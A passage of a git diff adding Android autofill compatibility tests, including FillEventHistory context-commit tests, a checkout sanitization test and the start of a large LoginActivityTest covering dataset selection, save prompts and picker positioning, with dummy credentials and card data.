+            assertThat(event4.getChangedFields()).isEmpty();
+            assertThat(event4.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            FillEventHistory.Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event.getChangedFields()).isEmpty();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields).isNotNull();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service on different
+     * datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id3")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset3"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest request = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+
+            final FillEventHistory.Event event = events.get(1);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
+            assertThat(event.getChangedFields()).isEmpty();
+            final FillContext context = request.contexts.get(0);
+            final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
+            final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java
new file mode 100644
index 0000000..4e23b52
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/InitializedCheckoutActivityTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_ADDRESS_HOME;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.assertListValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+
+import android.autofillservice.cts.activities.InitializedCheckoutActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.platform.test.annotations.AppModeFull;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing non-TextField views with initial values set on XML.
+ */
+@AppModeFull(reason = "CheckoutActivityTest() is enough")
+public class InitializedCheckoutActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<InitializedCheckoutActivity> {
+
+    private InitializedCheckoutActivity mCheckoutActivity;
+
+    @Override
+    protected AutofillActivityTestRule<InitializedCheckoutActivity> getActivityRule() {
+        return new AutofillActivityTestRule<InitializedCheckoutActivity>(
+                InitializedCheckoutActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mCheckoutActivity = getActivity();
+            }
+        };
+
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger auto-fill.
+        mCheckoutActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization: most everything should be available...
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(fillRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_HOME);
+        assertToggleValue(findNodeByResourceId(fillRequest.structure, ID_SAVE_CC), true);
+
+        // ... except Spinner, whose initial value cannot be set by resources:
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
new file mode 100644
index 0000000..9217867
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -0,0 +1,2948 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.FAIL;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_CANCEL_FILL;
+import static android.autofillservice.cts.testcore.Helper.ID_EMPTY;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.allowOverlays;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.assertValue;
+import static android.autofillservice.cts.testcore.Helper.assertViewAutofillState;
+import static android.autofillservice.cts.testcore.Helper.disallowOverlays;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.isAutofillWindowFullScreen;
+import static android.autofillservice.cts.testcore.Helper.setUserComplete;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_CLASS;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_PACKAGE;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.isConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.content.Context.CLIPBOARD_SERVICE;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+import static android.text.InputType.TYPE_NULL;
+import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
+
+import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
+import static com.android.compatibility.common.util.ShellUtils.tap;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.DummyActivity;
+import android.autofillservice.cts.activities.EmptyActivity;
+import android.autofillservice.cts.commontests.LoginActivityCommonTestCase;
+import android.autofillservice.cts.testcore.BadAutofillService;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.DismissType;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.NoOpAutofillService;
+import android.autofillservice.cts.testcore.OneTimeCancellationSignalListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.content.BroadcastReceiver;
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.View;
+import android.view.View.AccessibilityDelegate;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.autofill.AutofillManager;
+import android.widget.EditText;
+import android.widget.RemoteViews;
+
+import androidx.test.filters.FlakyTest;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class LoginActivityTest extends LoginActivityCommonTestCase {
+
+    private static final String TAG = "LoginActivityTest";
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAutomaticallyAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child);
+        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
+                "new view on the block");
+        child.addTextChangedListener(watcher);
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setField(ID_EMPTY, "new view on the block")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+
+        sReplier.getNextFillRequest();
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        watcher.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, forcing it
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Select the dataset.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillManuallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        // NOTE: must be on password, as saveOnlyTest() will trigger on username
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Try again, forcing it
+        saveOnlyTest(/* manually= */ true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAutomaticallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again, in a field that was added after the first request
+        final EditText child = new EditText(mActivity);
+        child.setId(R.id.empty);
+        mActivity.addChild(child);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        ID_USERNAME,
+                        ID_PASSWORD,
+                        ID_EMPTY)
+                .build());
+        mActivity.syncRunOnUiThread(() -> child.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        mActivity.runOnUiThread(() -> child.setText("NOT MR.M"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "malkovich");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(password, "malkovich");
+        final ViewNode childNode = findNodeByResourceId(saveRequest.structure, ID_EMPTY);
+        assertTextAndValue(childNode, "NOT MR.M");
+    }
+
+    /**
+     * More detailed test of what should happen after a service returns a {@code null} FillResponse:
+     * views that have already been visit should not trigger a new session, unless a manual autofill
+     * workflow was requested.
+     */
+    @Test
+    @AppModeFull(reason = "testAutoFillNoDatasets() is enough")
+    public void testMultipleIterationsAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on username - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        // Every other call should be ignored
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onUsername(View::requestFocus);
+        mActivity.onPassword(View::requestFocus);
+
+        // Trigger autofill by manually requesting username - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.forceAutofillOnUsername();
+        final FillRequest manualRequest1 = sReplier.getNextFillRequest();
+        assertHasFlags(manualRequest1.flags, FLAG_MANUAL_REQUEST);
+        waitUntilDisconnected();
+
+        // Trigger autofill by manually requesting password - should call service
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.forceAutofillOnPassword();
+        final FillRequest manualRequest2 = sReplier.getNextFillRequest();
+        assertHasFlags(manualRequest2.flags, FLAG_MANUAL_REQUEST);
+        waitUntilDisconnected();
+    }
+
+    @FlakyTest(bugId = 162372863)
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyAlwaysCallServiceAgain() throws Exception {
+        // Set service.
+        enableService();
+
+        // First request
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.onUsername(View::requestFocus);
+        // Waits for the fill request to be sent to the autofill service
+        mUiBot.waitForIdleSync();
+
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Second request
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(createPresentation("THE DUDE"))
+                .build());
+
+        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
+
+        final FillRequest secondRequest = sReplier.getNextFillRequest();
+        assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
+        mUiBot.assertDatasets("THE DUDE");
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDataset() throws Exception {
+        autofillOneDatasetTest(BorderType.NONE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
+    public void testAutoFillOneDataset_withHeader() throws Exception {
+        autofillOneDatasetTest(BorderType.HEADER_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
+    public void testAutoFillOneDataset_withFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.BOTH);
+    }
+
+    private enum BorderType {
+        NONE,
+        HEADER_ONLY,
+        FOOTER_ONLY,
+        BOTH
+    }
+
+    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        String expectedHeader = null, expectedFooter = null;
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+            expectedHeader = "Head";
+            builder.setHeader(createPresentation(expectedHeader));
+        }
+        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+            expectedFooter = "Tails";
+            builder.setFooter(createPresentation(expectedFooter));
+        }
+        sReplier.addResponse(builder.build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Dynamically set password to make sure it's sanitized.
+        mActivity.onPassword((v) -> v.setText("I AM GROOT"));
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Auto-fill it.
+        final UiObject2 picker = mUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+                "The Dude");
+
+        mUiBot.selectDataset(picker, "The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Validation checks.
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
+        assertTextIsSanitized(request.structure, ID_PASSWORD);
+        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
+        assertThat(fillContext.getFocusedId())
+                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(
+                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(
+                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
+    }
+
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutofillAgainAfterOnFailure() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(FAIL);
+
+        // Trigger autofill.
+        requestFocusOnUsernameNoWindowChange();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Try again
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill.
+        clearFocus();
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mActivity.expectAutoFill("dude", "sweet");
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetPickerPosition() throws Exception {
+        final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                        .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill on username
+        final Rect usernameBoundaries1 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
+        sReplier.getNextFillRequest();
+        callback.assertUiShownEvent(username);
+        final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
+        Log.v(TAG,
+                "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
+        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
+        if (pickerAndViewBoundsMatches) {
+            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
+                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
+            } else {
+                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            }
+
+            assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
+        }
+
+        // Move to password
+        final Rect passwordBoundaries1 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
+        Log.v(TAG,
+                "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
+        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
+        if (pickerAndViewBoundsMatches) {
+            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
+                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
+            } else {
+                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            }
+            assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
+        }
+
+        // Then back to username
+        final Rect usernameBoundaries2 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
+        callback.assertUiHiddenEvent(password);
